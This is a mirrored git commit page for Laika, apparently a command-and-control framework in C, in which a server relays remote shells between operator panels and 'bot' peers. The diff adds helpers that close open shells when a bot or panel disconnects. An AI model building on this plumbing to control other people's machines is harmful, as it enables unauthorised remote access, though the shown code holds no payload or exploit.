mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-01 05:50:05 +00:00
Handled edgecase of shell peer disconnecting
- minor refactor of shell client, added shellC_isShellOpen()
This commit is contained in:
@@ -1,11 +1,15 @@
|
||||
#ifndef LAIKA_CNC_PANEL_H
|
||||
#define LAIKA_CNC_PANEL_H
|
||||
|
||||
#include "cnc.h"
|
||||
#include "lpeer.h"
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
|
||||
void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo);
|
||||
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo);
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
@@ -242,14 +242,32 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
int i;
|
||||
|
||||
/* remove peer from panels list (if it's a panel) */
|
||||
if (peer->type == PEER_AUTH)
|
||||
laikaC_rmvAuth(cnc, peer);
|
||||
switch (peer->type) {
|
||||
case PEER_BOT: {
|
||||
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)peer->uData;
|
||||
|
||||
/* close any open shells */
|
||||
if (bInfo->shellAuth)
|
||||
laikaC_closeBotShell(bInfo);
|
||||
break;
|
||||
}
|
||||
case PEER_AUTH: {
|
||||
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)peer->uData;
|
||||
|
||||
/* close any open shells */
|
||||
if (aInfo->shellBot)
|
||||
laikaC_closeAuthShell(aInfo);
|
||||
|
||||
/* remove peer from panels list */
|
||||
laikaC_rmvAuth(cnc, peer);
|
||||
break;
|
||||
}
|
||||
default: break;
|
||||
}
|
||||
|
||||
/* notify connected panels of the disconnected peer */
|
||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||
if (cnc->authPeers[i] != peer) /* don't send disconnect event to themselves */
|
||||
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
|
||||
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
|
||||
}
|
||||
|
||||
/* remove from peer lookup map */
|
||||
|
@@ -36,6 +36,24 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||
laikaS_endOutPacket(authPeer);
|
||||
}
|
||||
|
||||
void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) {
|
||||
/* forward to SHELL_CLOSE to auth */
|
||||
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* close shell */
|
||||
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
|
||||
aInfo->shellBot = NULL;
|
||||
}
|
||||
|
||||
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) {
|
||||
/* forward to SHELL_CLOSE to auth */
|
||||
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
|
||||
|
||||
/* close shell */
|
||||
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
|
||||
bInfo->shellAuth = NULL;
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
@@ -95,12 +113,8 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
||||
if (aInfo->shellBot == NULL)
|
||||
return;
|
||||
|
||||
/* forward to SHELL_CLOSE to auth */
|
||||
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* close shell */
|
||||
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
|
||||
aInfo->shellBot = NULL;
|
||||
|
||||
laikaC_closeAuthShell(aInfo);
|
||||
}
|
||||
|
||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
|
Reference in New Issue
Block a user